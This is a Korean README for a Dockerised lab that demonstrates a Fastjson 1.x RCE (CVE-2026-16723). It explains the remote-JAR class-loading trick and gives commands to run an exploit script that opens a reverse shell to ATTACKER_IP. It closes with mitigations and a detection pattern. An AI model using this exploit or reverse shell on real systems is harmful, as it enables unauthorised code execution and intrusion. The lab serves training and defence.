
CVE-2026-16723에 대한 개념 증명 익스플로잇으로, Fastjson 1.x @JSONType 원격 코드 실행 취약점이며, 페이로드 JAR 빌더와 리버스 셸 리스너를 포함합니다.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723은 Fastjson 1.x(1.2.68 – 1.2.83)의 원격 코드 실행(RCE) 취약점입니다. Fastjson이 공격자가 제어하는 JSON을 파싱할 때, 조작된
@type값이checkAutoType내부에서 클래스 리소스 조회로 변환됩니다. Spring Boot 실행 가능 fat-JAR에서 클래스 로더는 해당 이름을jar:http://URL로 해석하여 원격 JAR을 가져오고(SSRF), AutoType이 비활성화되어 있음에도 불구하고@JSONType애노테이션이 붙은 클래스를 로드합니다. 최신 JDK / Tomcat은jar:http://바이너리 이름을 거부하기 때문에, 신뢰할 수 있는 변형은 JAR을 JVM 캐시에 심고jar:file:/proc/self/fd/N을 통해 다시 읽어들여, 클래스가 정의되고 정적 초기화자가 실행되어 코드 실행이 이루어집니다. AutoType은 비활성화된 상태로 유지되며 클래스패스 가젯이 필요하지 않습니다.
| Category | Version |
|---|---|
| 취약 | Fastjson 1.2.68 ≤ version ≤ 1.2.83 |
| 패치됨 | Fastjson 2.x로 마이그레이션 (수정된 1.x 릴리스 없음) |
랩 대상은 검색 API가 요청 본문을 Fastjson으로 바인딩하는 공개 스토어프론트(Northwind Store)입니다. 모든 것이 Fastjson의 기본 설정입니다: SafeMode 꺼짐, AutoType 꺼짐, Spring Boot fat-JAR로 패키징됨.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Precondition | State in this lab |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot executable fat-JAR | yes |
| Unauthenticated JSON parse path | POST /api/products/search |
| SafeMode / AutoType | default (both off) |
공격자와 대상은 동일한 Docker 브리지 네트워크에서 실행되므로, 대상은 아웃바운드 연결로 공격자에 도달합니다(추가 포트가 게시되지 않음).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py는 페이로드 JAR을 빌드하고, 이를 서비스하고, 리스너를 시작하고, 요청 본문을 출력합니다. 콜백 주소만 필요합니다.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
출력된 본문을 검색 엔드포인트(Burp Repeater 또는 curl)에 붙여넣고 전송합니다. 검색 요청은 정상적인 기능이며, 그 JSON 본문만 조작됩니다.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
코드는 서비스 계정으로 실행됩니다. 획득한 셸을 통해 플래그를 가져옵니다:
whoami
com.alibaba:fastjson:1.2.83_noneautotype 실행-Dfastjson.parser.safeMode=true로 시작jar:http 또는 jar:file / /proc/self/fd 패턴을 포함하는 JSON @type 값